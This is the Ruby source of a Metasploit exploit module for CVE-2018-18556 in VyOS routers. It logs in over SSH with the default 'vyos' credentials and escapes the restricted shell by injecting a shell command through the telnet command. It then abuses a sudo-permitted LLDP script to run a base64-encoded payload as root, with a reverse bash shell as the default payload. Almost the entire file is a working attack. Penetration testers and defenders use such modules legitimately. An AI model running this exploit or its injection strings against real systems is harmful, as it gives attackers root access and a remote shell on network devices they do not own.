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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'net/ssh'
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require 'net/ssh/command_stream'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::SSH
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  include Msf::Auxiliary::Report
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'VyOS restricted-shell Escape and Privilege Escalation',
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        'Description' => %q{
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          This module exploits command injection vulnerabilities and an insecure
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          default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute
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          arbitrary system commands as root.
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          VyOS features a `restricted-shell` system shell intended for use by
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          low privilege users with operator privileges. This module exploits
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          a vulnerability in the `telnet` command to break out of the restricted
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          shell, then uses sudo to exploit a command injection vulnerability in
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          `/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands
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          with root privileges.
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          This module has been tested successfully on VyOS 1.1.8 amd64 and
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          VyOS 1.0.0 i386.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Rich Mirch', # discovery and exploit
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          'bcoles' # metasploit
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        ],
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        'References' => [
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          [ 'CVE', '2018-18556' ],
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          [ 'URL', 'https://blog.vyos.io/the-operator-level-is-proved-insecure-and-will-be-removed-in-the-next-releases' ],
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          [ 'URL', 'https://blog.mirch.io/2018/11/05/cve-2018-18556-vyos-privilege-escalation-via-sudo-pppd-for-operator-users/' ],
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          [ 'URL', 'https://github.com/mirchr/security-research/blob/master/vulnerabilities/VyOS/CVE-2018-18556.sh' ],
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        ],
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        'Arch' => ARCH_CMD,
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        'DisclosureDate' => '2018-11-05',
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        'DefaultOptions' => {
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          'Payload' => 'cmd/unix/reverse_bash'
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        },
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        'DefaultTarget' => 0,
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        'Platform' => 'unix',
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        'Privileged' => true,
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        'Targets' => [
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          [
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            'Automatic', {}
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          ]
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(22),
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        OptString.new('USERNAME', [true, 'SSH username', 'vyos']),
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        OptString.new('PASSWORD', [true, 'SSH password', 'vyos']),
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      ]
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    )
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    register_advanced_options(
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      [
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        Opt::Proxies,
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        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 15]),
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        OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
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      ]
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    )
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  end
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  def check
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    opts = ssh_client_defaults.merge({
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      auth_methods: ['password', 'keyboard-interactive'],
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      password: password,
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      port: rport
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    })
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    begin
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      ssh = nil
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      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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        ssh = Net::SSH.start(rhost, username, opts)
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      end
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    rescue Rex::ConnectionError
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      return CheckCode::Safe
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    rescue Net::SSH::Disconnect, ::EOFError
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      return CheckCode::Safe
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    rescue Timeout::Error
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      return CheckCode::Safe
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    rescue Net::SSH::AuthenticationFailed
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      return CheckCode::Safe
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    rescue Net::SSH::Exception
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      return CheckCode::Safe
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    end
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    CheckCode::Detected('SSH service detected.')
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  end
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  def rhost
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    datastore['RHOST']
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  end
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  def rport
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    datastore['RPORT']
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  end
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  def username
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    datastore['USERNAME']
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  end
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  def password
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    datastore['PASSWORD']
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  end
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  def exploit
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    factory = ssh_socket_factory
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    opts = {
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      auth_methods: ['password', 'keyboard-interactive'],
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      port: rport,
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      use_agent: false,
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      config: false,
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      password: password,
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      proxy: factory,
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      non_interactive: true,
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      verify_host_key: :never
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    }
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    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
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    print_status("#{rhost}:#{rport} - Attempt to login to VyOS SSH ...")
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    begin
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      ssh = nil
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      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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        ssh = Net::SSH.start(rhost, username, opts)
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      end
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    rescue Rex::ConnectionError
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      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
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    rescue Net::SSH::Disconnect, ::EOFError
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      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
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    rescue ::Timeout::Error
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      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
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    rescue Net::SSH::AuthenticationFailed
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      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
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    rescue Net::SSH::Exception => e
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      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
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    end
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    unless ssh
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      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")
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    end
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    print_good('SSH connection established')
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    ssh.open_channel do |channel|
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      print_status('Requesting PTY ...')
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      channel.request_pty do |ch, pty_success|
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        unless pty_success
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          fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not request PTY")
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        end
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        print_good('PTY successfully obtained')
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        print_status('Requesting shell ...')
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        ch.send_channel_request('shell') do |_ch, shell_success|
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          unless shell_success
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            fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not open shell")
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          end
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          print_good('Remote shell successfully obtained')
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        end
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      end
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      vyos_check_executed = false
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      expect_system_shell = false
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      payload_executed = false
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      payload_b64 = Rex::Text.encode_base64(payload.encoded)
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      payload_cmd = ''
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      channel.on_data do |_ch, data|
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        return nil if payload_executed
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        unless vyos_check_executed
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          unless data.downcase.include?('vyos')
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            fail_with(Failure::NotVulnerable, 'Remote system is not VyOS')
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          end
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          print_status('Remote system is VyOS')
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          vyos_check_executed = true
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          next
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        end
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        if !expect_system_shell && data.downcase.include?(username.downcase)
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          if data.include?('> ')
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            print_status('Remote session is using restricted-shell. Attempting breakout to system shell ...')
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            channel.send_data("telnet ';/bin/sh'\n")
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            payload_cmd = "sudo /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl -action show-neighbor -i ';echo #{payload_b64}|base64 -d|/bin/sh'"
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            expect_system_shell = true
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            next
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          elsif data.include?('$ ')
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            print_status('Remote session is using unrestricted shell. Launching system shell ...')
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            channel.send_data("/bin/sh\n")
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            payload_cmd = "echo #{payload_b64}|base64 -d|sudo /bin/sh"
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            expect_system_shell = true
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            next
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          end
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        end
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        if expect_system_shell && data.include?('sh') && data.include?('$ ')
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          print_good('Unrestricted system shell successfully obtained. Sending payload ...')
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          vprint_status("Sending command: #{payload_cmd}")
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          channel.send_data("#{payload_cmd}\n")
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          payload_executed = true
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        end
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      end
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    end
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    begin
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      ssh.loop unless session_created?
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    rescue Errno::EBADF => e
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      elog(e)
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    end
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  end
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end
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